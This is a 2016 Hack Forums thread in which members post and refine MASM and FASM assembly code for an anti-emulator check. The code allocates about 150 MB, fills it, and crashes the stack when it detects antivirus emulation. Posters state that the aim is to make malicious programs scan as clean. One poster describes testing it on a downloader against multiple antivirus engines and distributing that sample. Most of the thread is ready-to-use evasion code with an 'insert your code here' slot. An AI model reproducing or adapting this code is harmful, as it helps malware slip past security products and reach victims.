Assembly Anti Emulator MASM with memory allocation, breaks every emulator

[Assembly] Anti Emulator MASM with memory allocation, breaks every emulator - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Coders Lounge (https://hackforums.net/forumdisplay.php?fid=5)
+---- Thread: [Assembly] Anti Emulator MASM with memory allocation, breaks every emulator (/showthread.php?tid=5191261)

Pages: Pages 1 2

Anti Emulator MASM with memory allocation, breaks every emulator - Wardow - Mar 3, 2016

hey, here is the source if you're interested:

you can change the 154720540 value to something else, it must be enough to break the emulator, you can also change the 123 value, or make so it changes for each bytes in case this becomes filtered by emulators.

More "MASM way" version of the code by Masm4ever:

(Mar 4, 2016 07:07 PM)Masm4ever Wrote:
Code
include \masm32\include\masm32rt.inc .code start: mov ecx, 154720540 push ecx invoke HeapAlloc, rv(GetProcessHeap), 0, ecx pop ecx .if eax xchg eax, edi push edi mov al, 123 rep stosb push 0 .if [edi-1] != al xor esp, esp .endif call GetProcessHeap push eax call HeapFree invoke MessageBox, 0, chr$("my code"), chr$("it's not emulated:"), MB_OK .endif invoke ExitProcess, 0 end start

* - Lijpee - Mar 3, 2016

Nice piece of code you have there Wardow, too bad people can't appreciate the effort you put in this community.

* - $lick - Mar 3, 2016

Wow... where is my credit for helping you out on this?

Not cool man, not cool at all.

* - Wardow - Mar 3, 2016

(Mar 3, 2016 04:05 PM)Nexus™ Wrote: Wow... where is my credit for helping you out on this?

Not cool man, not cool at all.

u helped for nothing noob

* - Hoodie+ - Mar 3, 2016

Fuck I can't read shit, I need to learn Assembly...
Too bad I'm lazy...

* - Wardow - Mar 3, 2016

(Mar 3, 2016 04:10 PM)Hoodie+ Wrote: Fuck I can't read shit, I need to learn Assembly...
Too bad I'm lazy...

its self explanatory, once you got registers/pointers/instructions its just learning what are they, after that its low level logic.

* - NTTITON373 - Mar 3, 2016

You have a overflow on line 11 :)

* - Wardow - Mar 3, 2016

(Mar 3, 2016 04:25 PM)NTTITON373 Wrote: You have a overflow on line 11 :)

i will modify, i also took a second look onto this then noticed it worked like this so i did let it, but i will modify :)

just updated the code, enjoy

i failed i'll modify again

i modified again it works now, tell me if any issues

ffs i failed again lemme fix

wooooooooh it's fixed enjoy

* - SIM-1866423 - Mar 3, 2016

Little confused about logic .. Can you explain little bit ? (Not codes)

* - Wardow - Mar 3, 2016

(Mar 3, 2016 07:03 PM)b3mb4m Wrote: Little confused about logic .. Can you explain little bit ? (Not codes)

The logic is an emulator cannot allocate that much memory (100mb+), so the goal is allocating memory check the return pointer if it failed then we are being emulated so we exit, if it succeded its either we are being emulated and the emulator trynna be smart or we are not being emulated, so we will make another check, we gonna fill all the memory with a value then check for a byte in the memory and check if it contain the value we did set before if so we are not being emulated or the emulator is being even more smart (in that case the anti emulator will not work), and if its not matching then we are being emulated so instead of doing ExitProcess which can be used to detect anti emulation methods, we will fuck up the stack pointer then try calling some API without even pushing arguments onto the stack (which we fucked the pointer already), so obvious the program will crash hard the AV then wont be able to state if its malicious or not and just show its clean.

* - SIM-1866423 - Mar 3, 2016

(Mar 3, 2016 07:22 PM)Wardow Wrote: The logic is an emulator cannot allocate that much memory (100mb+), so the goal is allocating memory check the return pointer if it failed then we are being emulated so we exit, if it succeded its either we are being emulated and the emulator trynna be smart or we are not being emulated, so we will make another check, we gonna fill all the memory with a value then check for a byte in the memory and check if it contain the value we did set before if so we are not being emulated or the emulator is being even more smart (in that case the anti emulator will not work), and if its not matching then we are being emulated so instead of doing ExitProcess which can be used to detect anti emulation methods, we will fuck up the stack pointer then try calling some API without even pushing arguments onto the stack (which we fucked the pointer already), so obvious the program will crash hard the AV then wont be able to state if its malicious or not and just show its clean.

Got it, thanks for explain.Appreciate, nice codes 🤝

* - Masm4ever - Mar 4, 2016

(Mar 3, 2016 07:22 PM)Wardow Wrote: The logic is an emulator cannot allocate that much memory (100mb+),

Depends on the emulator.

Quote:so the goal is allocating memory check the return pointer if it failed then we are being emulated so we exit,

There are plenty of reasons why HeapAlloc could fail.

Quote:if it succeded its either we are being emulated and the emulator trynna be smart or we are not being emulated, so we will make another check, we gonna fill all the memory with a value then check for a byte in the memory and check if it contain the value we did set before if so we are not being emulated

If it doesn't contain that value, the emulator is buggy.

Quote:so instead of doing ExitProcess which can be used to detect anti emulation methods, we will fuck up the stack pointer then try calling some API without even pushing arguments onto the stack (which we fucked the pointer already), so obvious the program will crash hard the AV then wont be able to state if its malicious or not and just show its clean.

The AV must be incredibly dumb to interpret an access violation as "clean" code.

Here is a shorter version of "your" code. Show me an "emulator" that produces the !=123😎

Code 
include \masm32\include\masm32rt.inc

.code

start:

mov ecx, 154720540

push ecx

invoke HeapAlloc, rv(GetProcessHeap), 0, ecx

pop ecx

.if eax

    xchg eax, edi

    push edi

    mov al, 123

    rep stosb

    push 0

    .if [edi-1] != al

        xor esp, esp

    .endif

    call GetProcessHeap

    push eax

    call HeapFree

    invoke MessageBox, 0, chr$("my code"), chr$("it's not emulated:"), MB_OK

.endif

invoke ExitProcess, 0

end start

* - Wardow - Mar 4, 2016

(Mar 4, 2016 07:07 PM)Masm4ever Wrote: Depends on the emulator.

There are plenty of reasons why HeapAlloc could fail.

If it doesn't contain that value, the emulator is buggy.

The AV must be incredibly dumb to interpret an access violation as "clean" code.

Here is a shorter version of "your" code. Show me an "emulator" that produces the !=123😎

Code
include \masm32\include\masm32rt.inc .code start: invoke HeapAlloc, rv(GetProcessHeap), 0, 154720540 .if eax xor edx, edx .Repeat mov byte ptr[eax + edx], 123 inc edx .Until edx>=154720540 push eax push 0 .if byte ptr[eax + edx - 1] != 123 xor esp, esp .endif call GetProcessHeap push eax call HeapFree invoke MessageBox, 0, chr$("my code"), chr$("it's not emulated:"), MB_OK .endif invoke ExitProcess, 0 end start

Here is a simple example of this code sample breaking every emulators.
I made a simple downloader with needed strings encrypted, i'll provide the two source codes of the with and without anti emulator code.

Without anti emulator code:

Scan:
[IMG]http://viruscheckmate.com/image/yR4O42BDBCiI/full/img.png[/IMG]

With anti emulator code:

Scan:
[IMG]http://viruscheckmate.com/image/fGRWpqqJSiV1/full/img.png[/IMG]

Without the stack breaking instruction but anti emulator code:

Scan:
[IMG]http://viruscheckmate.com/image/bw8DvzfbfHZO/full/img.png[/IMG]

As i can figure out, the stack breaking instruction is being useless and even got detected by Dr.Web into that code (has been previously uploaded to distributing websites), the emulators are giving up even before its being executed, at the time of producing that code i was thinking about another solution for traping the emulator to crash but apparently it gives up before even executing this instructions, thanks for cleaning up this point and remaking the anti emulator concept in a more MASM way.

* - Armitage - Mar 12, 2016

FASM Version :

Code 
;FASM Version

format PE GUI 4.0

entry start

include 'INCLUDE\WIN32W.INC'

section ".text" code executable readable

start:

  call [GetProcessHeap]

  push 0938D91Ch ;i assumed is 154720540 is a decimal base value and i used hex base because it's better

  push 0

  push eax

  call [HeapAlloc]

  cmp eax, 0

  je EndProg

  mov edx, 0

  FillJunk:

  mov byte [eax+edx], 7Bh

  inc edx

  cmp edx, 0938D91Ch

  jne FillJunk

  cmp byte [eax+edx-1], 7Bh

  jne FuckItUp

  mov edx, 0

  push eax

  push 0

  call [GetProcessHeap]

  push eax

  call [HeapFree]

  mov eax, 0

;insert your code here

EndProg:

  push 0

  call [ExitProcess]

FuckItUp:

  mov esp, 0

  call [HeapAlloc]

section '.idata' import data readable writeable

  library kernel,'KERNEL32.DLL'

  import kernel,\

         GetProcessHeap,'GetProcessHeap',\

         HeapAlloc,'HeapAlloc',\

         HeapFree,'HeapFree',\

         ExitProcess,'ExitProcess'

* - Volty - Mar 12, 2016

(Mar 12, 2016 05:14 AM)Armitage Wrote: FASM Version :

Code
;FASM Version format PE GUI 4.0 entry start include 'INCLUDE\WIN32W.INC' section ".text" code executable readable start: call [GetProcessHeap] push 0938D91Ch ;i assumed is 154720540 is a decimal base value and i used hex base because it's better push 0 push eax call [HeapAlloc] cmp eax, 0 je EndProg mov edx, 0 FillJunk: mov byte [eax+edx], 7Bh inc edx cmp edx, 0938D91Ch jne FillJunk cmp byte [eax+edx-1], 7Bh jne FuckItUp mov edx, 0 push eax push 0 call [GetProcessHeap] push eax call [HeapFree] mov eax, 0 ;insert your code here EndProg: push 0 call [ExitProcess] FuckItUp: mov esp, 0 call [HeapAlloc] section '.idata' import data readable writeable library kernel,'KERNEL32.DLL' import kernel,\ GetProcessHeap,'GetProcessHeap',\ HeapAlloc,'HeapAlloc',\ HeapFree,'HeapFree',\ ExitProcess,'ExitProcess'

Thanks :) I was about to try and convert this to FASM, but you saved me a ton of time. :D